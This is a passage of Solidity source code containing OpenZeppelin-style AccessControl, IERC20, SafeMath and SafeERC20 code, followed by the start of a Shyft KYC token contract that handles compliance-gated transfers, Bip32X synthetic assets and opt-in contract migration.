require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IShyftKycContract is IErc20, IErc223ReceivingContract {
function balanceOf(address tokenOwner) external view override returns (uint balance);
function totalSupply() external view override returns (uint);
function transfer(address to, uint tokens) external override returns (bool success);
function getShyftCacheGraphAddress() external view returns (address result);
function getNativeTokenType() external view returns (uint256 result);
function withdrawNative(address payable _to, uint256 _value) external returns (bool ok);
function withdrawToExternalContract(address _to, uint256 _value, uint256 _gasAmount) external returns (bool ok);
function withdrawToShyftKycContract(address _shyftKycContractAddress, address _to, uint256 _value) external returns (bool ok);
function mintBip32X(address _to, uint256 _amount, uint256 _bip32X_type) external;
function burnFromBip32X(address _account, uint256 _amount, uint256 _bip32X_type) external;
function migrateFromKycContract(address _to) external payable returns(bool result);
function updateContract(address _addr) external returns (bool);
function transferBip32X(address _to, uint256 _value, uint256 _bip32X_type) external returns (bool result);
function allowanceBip32X(address _tokenOwner, address _spender, uint256 _bip32X_type) external view returns (uint remaining);
function approveBip32X(address _spender, uint _tokens, uint256 _bip32X_type) external returns (bool success);
function transferFromBip32X(address _from, address _to, uint _tokens, uint256 _bip32X_type) external returns (bool success);
function transferFromErc20TokenToBip32X(address _erc20ContractAddress, uint256 _value) external returns (bool ok);
function withdrawTokenBip32XToErc20(address _erc20ContractAddress, address _to, uint256 _value) external returns (bool ok);
function getBalanceBip32X(address _identifiedAddress, uint256 _bip32X_type) external view returns (uint256 balance);
function getTotalSupplyBip32X(uint256 _bip32X_type) external view returns (uint256 balance);
function getBip32XTypeForContractAddress(address _contractAddress) external view returns (uint256 bip32X_type);
function kycSend(address _identifiedAddress, uint256 _amount, uint256 _bip32X_type, bool _requiredConsentFromAllParties, bool _payForDirty) external returns (uint8 result);
function getOnlyAcceptsKycInput(address _identifiedAddress) external view returns (bool result);
function getOnlyAcceptsKycInputPermanently(address _identifiedAddress) external view returns (bool result);
}
/// @dev | Shyft Core :: Shyft Kyc Contract
/// |
/// | This contract is the nucleus of all of the Shyft stack. This current v1 version has basic functionality for upgrading and connects to the Shyft Cache Graph via Routing for further system expansion.
/// |
/// | It should be noted that all payable functions should utilize revert, as they are dealing with assets.
/// |
/// | "Bip32X" & Synthetics - Here we're using an extension of the Bip32 standard that effectively uses a hash of contract address & "chainId" to allow any erc20/erc223 contract to allow assets to move through Shyft's opt-in compliance rails.
/// | Ex. Ethereum = 60
/// | Shyft Network = 7341
/// |
/// | This contract is built so that when the totalSupply is asked for, much like transfer et al., it only references the ShyftTokenType. For getting the native balance of any specific Bip32X token, you'd call "getTotalSupplyBip32X" with the proper contract address.
/// |
/// | "Auto Migration"
/// | This contract was built with the philosophy that while there needs to be *some* upgrade path, unilaterally changing the existing contract address for Users is a bad idea in practice. Instead, we use a versioning system with the ability for users to set flags to automatically upgrade their liquidity on send into this particular contract, to any other contracts that have been updated so far (in a recursive manner).
/// |
/// | Auto-Migration of assets flow:
/// | 1. registry contract is set up
/// | 2. upgrade is called by registry contract
/// | 3. calls to fallback looks to see if upgrade is set
/// | 4. if so it asks the registry for the current contract address
/// | 5. it then uses the "migrateFromKycContract", which on the receiver's end will update the _to address passed in with the progression and now has the value from the "migrateFromKycContract"'s payable and thus the native fuel, to back the token increase to the _to's account.
/// |
/// |
/// | What's Next (V2 notes):
/// |
/// | "Shyft Safe" - timelocked assets that will work with Byfrost
/// | "Shyft Byfrost" - economic finality bridge infrastructure
/// |
/// | Compliance Channels:
/// | Addresses that only accept kyc input should be able to receive packages by the bridge that are only kyc'd across byfrost.
/// | Ultimate accountability chain could be difficult, though a hash map of critical ipfs resources of chain data could suffice.
/// | This would be the same issue as data accountability by trying to leverage multiple chains for data sales as well.
contract ShyftKycContract is IShyftKycContract, TokenConstants, AccessControl {
/// @dev Event for migration to another shyft kyc contract (of higher or equal version).
event EVT_migrateToKycContract(address indexed updatedShyftKycContractAddress, uint256 updatedContractBalance, address indexed kycContractAddress, address indexed to, uint256 _amount);
/// @dev Event for migration to another shyft kyc contract (from lower or equal version).
event EVT_migrateFromContract(address indexed sendingKycContract, uint256 totalSupplyBip32X, uint256 msgValue, uint256 thisBalance);
/// @dev Event for receipt of native assets.
event EVT_receivedNativeBalance(address indexed _from, uint256 _value);
/// @dev Event for withdraw to address.
event EVT_WithdrawToAddress(address _from, address _to, uint256 _value);
/// @dev Event for withdraw to external contract (w/ Erc223 fallbacks).
event EVT_WithdrawToExternalContract(address _from, address _to, uint256 _value);
/// @dev Event for withdraw to a specific shyft smart contract.
event EVT_WithdrawToShyftKycContract(address _from, address _to, uint256 _value);
/// @dev Event for transfer and minting of Bip32X type assets.
event EVT_TransferAndMintBip32X(address contractAddress, address msgSender, uint256 value, uint256 indexed bip32X_type);
/// @dev Event for transfer and burning of Bip32X type assets.
event EVT_TransferAndBurnBip32X(address contractAddress, address msgSender, address to, uint256 value, uint256 indexed bip32X_type);
/// @dev Event for transfer of Bip32X type.
event EVT_TransferBip32X(address indexed from, address indexed to, uint256 tokens, uint256 indexed bip32X_type);
/// @dev Event for approval of Bip32X type.
event EVT_ApprovalBip32X(address indexed tokenOwner, address indexed spender, uint256 tokens, uint256 indexed bip32X_type);
/* ERC223 events */
/// @dev Event for Erc223-based Token Fallback.
event EVT_Erc223TokenFallback(address _from, uint256 _value, bytes _data);
/* v1 Upgrade events */
/// @dev Event for setting of emergency responder.
event EVT_setV1EmergencyResponder(address _emergencyResponder);
/// @dev Event for redemption of incorrectly sent assets.
event EVT_redeemIncorrectlySentAsset(address indexed _destination, uint256 _amount);
/// @dev Event for upgrading of assets from the v1 Contract
event EVT_UpgradeFromV1(address indexed _originAddress, address indexed _userAddress, uint256 _value);
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @dev Mapping of total supply specific bip32x assets.
mapping(uint256 => uint256) totalSupplyBip32X;
/// @dev Mapping of users to their balances of specific bip32x assets.
mapping(address => mapping(uint256 => uint256)) balances;
/// @dev Mapping of users to users with amount of allowance set for specific bip32x assets.
mapping(address => mapping(address => mapping(uint256 => uint256))) allowed;
/// @dev Mapping of users to whether they have set auto-upgrade enabled.
mapping(address => bool) autoUpgradeEnabled;
/// @dev Mapping of users to whether they Accepts Kyc Input only.
mapping(address => bool) onlyAcceptsKycInput;
/// @dev Mapping of users to whether their Accepts Kyc Input option is locked permanently.
mapping(address => bool) lockOnlyAcceptsKycInputPermanently;
/// @dev mutex lock, prevent recursion in functions that use external function calls
bool locked;
/// @dev Whether there has been an upgrade from this contract.
bool public hasBeenUpdated;
/// @dev The address of the next upgraded Shyft Kyc Contract.
address public updatedShyftKycContractAddress;
/// @dev The address of the Shyft Kyc Registry contract.
address public shyftKycContractRegistryAddress;
/// @dev The address of the Shyft Cache Graph contract.
address public shyftCacheGraphAddress = address(0);
/// @dev The signature for triggering 'tokenFallback' in erc223 receiver contracts.
bytes4 constant shyftKycContractSig = bytes4(keccak256("fromShyftKycContract(address,address,uint256,uint256)")); // function signature
/// @dev The origin of the Byfrost link, if this contract is used as such. follows chainId.
bool public byfrostOrigin;
/// @dev Flag for whether the Byfrost state has been set.
bool public setByfrostOrigin;
/// @dev The owner of this contract.
address public owner;
/// @dev The native Bip32X type of this network. Ethereum is 60, Shyft is 7341, etc.
uint256 nativeBip32X_type;
/// @dev The name of the minter role for implementing AccessControl
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
//@note:@v1Upgrade:
/// @dev total number of SHFT tokens that have been upgraded from v1.
uint256 public v1TotalUpgradeAmount;
/// @dev emergency responder address - able to **only** send back tokens incorrectly sent via the erc20-based transfer(address,uint256) vs the erc223-based (actual "migration" of the SHFT tokens) to the v1 contract address.
address public emergencyResponder;
/// @dev "Machine" (autonomous smart contract) Consent Helper address - this is the one that is able to set specific contracts to accept only kyc input
address public machineConsentHelperAddress;
/// @param _nativeBip32X_type The native Bip32X type of this network. Ethereum is 60, Shyft is 7341, etc.
/// @dev Invoke the constructor for ShyftSafe, which sets the owner and nativeBip32X_type class variables
/// @dev This contract uses the AccessControl library (for minting tokens only by designated minter).
/// @dev The account that deploys the contract will be granted the default admin role
/// @dev which will let it grant minter roles to other accounts.
/// @dev After deploying the contract, the the deployer should grant the minter role to a desired address
/// @dev by calling `grantRole(bytes32 role, address account)`
/// @dev Revoking the role is done by calling `revokeRole(bytes32 role, address account)`
constructor(uint256 _nativeBip32X_type) {
owner = msg.sender;
nativeBip32X_type = _nativeBip32X_type;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/// @dev Gets the native bip32x token (should correspond to "chainid")
/// @return result the native bip32x token (should correspond to "chainid")
function getNativeTokenType() public override view returns (uint256 result) {
return nativeBip32X_type;
}
/// @param _tokenAmount The amount of tokens to be allocated.
/// @param _bip32X_type The Bip32X type that represents the synthetic tokens that will be allocated.
/// @param _distributionContract The public address of the distribution contract, that the tokens are allocated for.
/// @dev Set by the owner, this functions sets it such that this contract was deployed on a Byfrost arm of the Shyft Network (on Ethereum for example). With this is a token grant that this contract should make to a specific distribution contract (ie. in the case of the initial Shyft Network launch, we have a small allocation originating on the Ethereum network).
/// @notice | for created kyc contracts on other chains, they can be instantiated with specific bip32X_type amounts
/// | (for example, the shyft distribution contract on eth vs. shyft native)
/// | ' uint256 bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, _erc20ContractAddress)));
/// | ' bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, msg.sender)));
/// | the bip32X_type is formed by the hash of the native bip32x type (which is unique per-platform, as it depends on
/// | the deployed contract address) - byfrost only touches non-replay networks.
/// | so the formula for the bip32X_type would be HASH [ byfrost main chain bip32X_type ] & [ byfrost main chain kyc contract address ]
/// | these minted tokens are given to the distribution contract for further distribution. This is all this contract
/// | needs to know about the distribution contract.
/// @return result
/// | 2 = set byfrost as origin
/// | 1 = already set byfrost origin
/// | 0 = not owner
function setByfrostNetwork(uint256 _tokenAmount, uint256 _bip32X_type, address _distributionContract) public returns (uint8 result) {
if (msg.sender == owner) {
if (setByfrostOrigin == false) {
byfrostOrigin = true;
setByfrostOrigin = true;
balances[_distributionContract][_bip32X_type] = balances[_distributionContract][_bip32X_type].add(_tokenAmount);
totalSupplyBip32X[_bip32X_type] = totalSupplyBip32X[_bip32X_type].add(_tokenAmount);
//set byfrost as origin
return 2;
} else {
//already set
return 1;
}
} else {
//not owner
return 0;
}
}
/// @dev Set by the owner, this function sets it such that this contract was deployed on the primary Shyft Network. No further calls to setByfrostNetwork may be made.
/// @return result
/// | 2 = set primary network
/// | 1 = already set byfrost origin
/// | 0 = not owner
function setPrimaryNetwork() public returns (uint8 result) {
if (msg.sender == owner) {
if (setByfrostOrigin == false) {
setByfrostOrigin = true;
//set primary network
return 2;
} else {
//already set byfrost origin
return 1;
}
} else {
//not owner
return 0;
}
}
/// @dev Removes the owner (creator of this contract)'s control completely. Functions such as linking the registry & cachegraph (& shyftSafe's setBridge), and importantly initializing this as a byfrost contract, are triggered by the owner, and as such a setting phase and afterwards triggering this function could be seen as a completely appropriate workflow.
/// @return true if the owner is removed successfully
function removeOwner() public returns (bool) {
require(msg.sender == owner, "not owner");
owner = address(0);
return true;
}
/// @param _shyftCacheGraphAddress The smart contract address for the Shyft CacheGraph that should be linked.
/// @dev Links Shyft CacheGraph to this contract's function flow.
/// @return result
/// | 0: not owner
/// | 1: set shyft cache graph address
function setShyftCacheGraphAddress(address _shyftCacheGraphAddress) public returns (uint8 result) {
require(_shyftCacheGraphAddress != address(0), "address cannot be zero");
if (owner == msg.sender) {
shyftCacheGraphAddress = _shyftCacheGraphAddress;
//cacheGraph contract address set
return 1;
} else {
//not owner
return 0;
}
}
function getShyftCacheGraphAddress() public view override returns (address result) {
return shyftCacheGraphAddress;
}
//---------------- Cache Graph Utilization ----------------//
/// @param _identifiedAddress The public address for the recipient to send assets (tokens) to.
/// @param _amount The amount of assets that will be sent.
/// @param _bip32X_type The bip32X type of the assets that will be sent. These are synthetic (wrapped) assets, based on atomic locking.
/// @param _requiredConsentFromAllParties Whether to match the routing algorithm on the "consented" layer which indicates 2 way buy in of counterparty's attestation(s)
/// @param _payForDirty Whether the sender will pay the additional cost to unify a cachegraph's relationships (if not, it will not complete).
/// @dev | Performs a "kyc send", which is an automatic search between addresses for counterparty relationships within Trust Channels (whos rules dictate accessibility for auditing/enforcement/jurisdiction/etc.). If there is a match, the designated amount of assets is sent to the recipient.
/// | As there are accessor methods to check whether or not the counterparty's cachegraph is "dirty", there is little need to pass a "true" unless the transaction is critical (eg. DeFi atomic flash wrap) and there is a chance that there will need to be a unification pass before the transaction can pass with full assurety.
/// @notice | If the recipient has flags set to indicate that they *only* want to receive assets from kyc sources, *all* of the regular transfer functions will block except this one, and this one only passes on success.
/// @return result
/// | 0 = not enough balance to send
/// | 1 = consent required
/// | 2 = transfer cannot be processed due to transfer rules
/// | 3 = successful transfer
function kycSend(address _identifiedAddress, uint256 _amount, uint256 _bip32X_type, bool _requiredConsentFromAllParties, bool _payForDirty) public override returns (uint8 result) {
if (balances[msg.sender][_bip32X_type] >= _amount) {
if (onlyAcceptsKycInput[_identifiedAddress] == false || (onlyAcceptsKycInput[_identifiedAddress] == true && _requiredConsentFromAllParties == true)) {
IShyftCacheGraph shyftCacheGraph = IShyftCacheGraph(shyftCacheGraphAddress);
uint8 kycCanSendResult = shyftCacheGraph.getKycCanSend(msg.sender, _identifiedAddress, _amount, _bip32X_type, _requiredConsentFromAllParties, _payForDirty);
//getKycCanSend return 3 = can transfer successfully
if (kycCanSendResult == 3) {
balances[msg.sender][_bip32X_type] = balances[msg.sender][_bip32X_type].sub(_amount);
balances[_identifiedAddress][_bip32X_type] = balances[_identifiedAddress][_bip32X_type].add(_amount);
//successful transfer
return 3;
} else {
//transfer cannot be processed due to transfer rules
return 2;
}
} else {
//consent required
return 1;
}
} else {
//not enough balance to send
return 0;
}
}
//---------------- Shyft KYC balances, fallback, send, receive, and withdrawal ----------------//
/// @dev mutex locks transactions ordering so that multiple chained calls cannot complete out of order.
modifier mutex() {
require(locked == false, "mutex failed :: already locked");
locked = true;
_;
locked = false;
}
/// @param _addr The Shyft Kyc Contract Registry address to set to.
/// @dev Upgrades the contract. Can only be called by a pre-set Shyft Kyc Contract Registry contract. Can only be called once.
/// @return returns true if the function passes, otherwise reverts if the message sender is not the shyft kyc registry contract.
function updateContract(address _addr) public override returns (bool) {
require(msg.sender == shyftKycContractRegistryAddress, "message sender must by registry contract");
require(hasBeenUpdated == false, "contract has already been updated");
require(_addr != address(0), "new kyc contract address cannot equal zero");
hasBeenUpdated = true;
updatedShyftKycContractAddress = _addr;
return true;
}
/// @param _addr The Shyft Kyc Contract Registry address to set to.
/// @dev Sets the Shyft Kyc Contract Registry address, so this contract can be upgraded.
/// @return returns true if the function passes, otherwise reverts if the message sender is not the owner (deployer) of this contract, or the registry is zero, or the registry has already been set.
function setShyftKycContractRegistryAddress(address _addr) public returns (bool) {
require(msg.sender == owner, "not owner");
require(_addr != address(0), "kyc registry address cannot equal zero");
require(shyftKycContractRegistryAddress == address(0), "kyc registry address must not have already been set");
shyftKycContractRegistryAddress = _addr;
return true;
}
/// @param _to The destination address to withdraw to.
/// @dev Withdraws all assets of this User to a specific address (only native assets, ie. Ether on Ethereum, Shyft on Shyft Network).
/// @return balance the number of tokens of that specific bip32x type in the user's account
function withdrawAllNative(address payable _to) public returns (uint) {
uint _bal = balances[msg.sender][nativeBip32X_type];
withdrawNative(_to, _bal);
return _bal;
}
/// @param _identifiedAddress The address of the User.
/// @param _bip32X_type The Bip32X type to check.
/// @dev Gets balance for Shyft KYC token type & synthetics for a specfic user.
/// @return balance the number of tokens of that specific bip32x type in the user's account
function getBalanceBip32X(address _identifiedAddress, uint256 _bip32X_type) public view override returns (uint256 balance) {
return balances[_identifiedAddress][_bip32X_type];
}
/// @param _bip32X_type The Bip32X type to check.
/// @dev Gets the total supply for a specific bip32x token.
/// @return balance the number of tokens of that specific bip32x type in this contract
function getTotalSupplyBip32X(uint256 _bip32X_type) public view override returns (uint256 balance) {
return totalSupplyBip32X[_bip32X_type];
}
/// @param _contractAddress The contract address to get the bip32x type from.
/// @dev Gets the Bip32X Type for a specific contract address.
/// @notice Doesn't check for contract status on the address (bytecode in contract) as that is super expensive for this form of call, so this *will* return a result for a regular non-contract address as well.
/// @return bip32X_type the bip32x type for this specific contract
function getBip32XTypeForContractAddress(address _contractAddress) public view override returns (uint256 bip32X_type) {
return uint256(keccak256(abi.encodePacked(nativeBip32X_type, _contractAddress)));
}
/// @dev This fallback function applies value to nativeBip32X_type Token (Ether on Ethereum, Shyft on Shyft Network, etc). It also uses auto-upgrade logic so that users can automatically have their coins in the latest wallet (if everything is opted in across all contracts by the user).
receive() external payable {
//@note: this is the auto-upgrade path, which is an opt-in service to the users to be able to send any or all tokens
// to an upgraded kycContract.
if (hasBeenUpdated && autoUpgradeEnabled[msg.sender]) {
//@note: to prevent tokens from ever getting "stuck", this contract can only send to itself in a very
// specific manner.
//
// for example, the "withdrawNative" function will output native fuel to a destination.
// If it was sent to this contract, this function will trigger and know that the msg.sender is
// the originating kycContract.
if (msg.sender != address(this)) {
// stop the process if the message sender has set a flag that only allows kyc input
require(onlyAcceptsKycInput[msg.sender] == false, "must send to recipient via trust channel");
// burn tokens in this contract
uint256 existingSenderBalance = balances[msg.sender][nativeBip32X_type];
balances[msg.sender][nativeBip32X_type] = 0;
totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(existingSenderBalance);
//~70k gas for the contract "call"
//and 90k gas for the value transfer within this.
// total = ~160k+checks gas to perform this transaction.
bool didTransferSender = migrateToKycContract(updatedShyftKycContractAddress, msg.sender, existingSenderBalance.add(msg.value));
if (didTransferSender == true) {
} else {
//@note: reverts since a transactional event has occurred.
revert("error in migration to kyc contract [user-origin]");
}
} else {
//****************************************************************************************************//
//@note: This *must* be the only route where tx.origin has to matter.
//****************************************************************************************************//
// duplicating the logic here for higher deploy cost vs. lower transactional costs (consider user costs
// where all users would want to migrate)
// burn tokens in this contract
uint256 existingOriginBalance = balances[tx.origin][nativeBip32X_type];
balances[tx.origin][nativeBip32X_type] = 0;
totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(existingOriginBalance);
//~70k gas for the contract "call"
//and 90k gas for the value transfer within this.
// total = ~160k+checks gas to perform this transaction.
bool didTransferOrigin = migrateToKycContract(updatedShyftKycContractAddress, tx.origin, existingOriginBalance.add(msg.value));
if (didTransferOrigin == true) {
} else {
//@note: reverts since a transactional event has occurred.
revert("error in migration to updated contract [self-origin]");
}
}
} else {
//@note: never accept this contract sending raw value to this fallback function, unless explicit cases
// have been met.
//@note: public addresses do not count as kyc'd addresses
if (msg.sender != address(this) && onlyAcceptsKycInput[msg.sender] == true) {
revert("must send to recipient via trust channel");
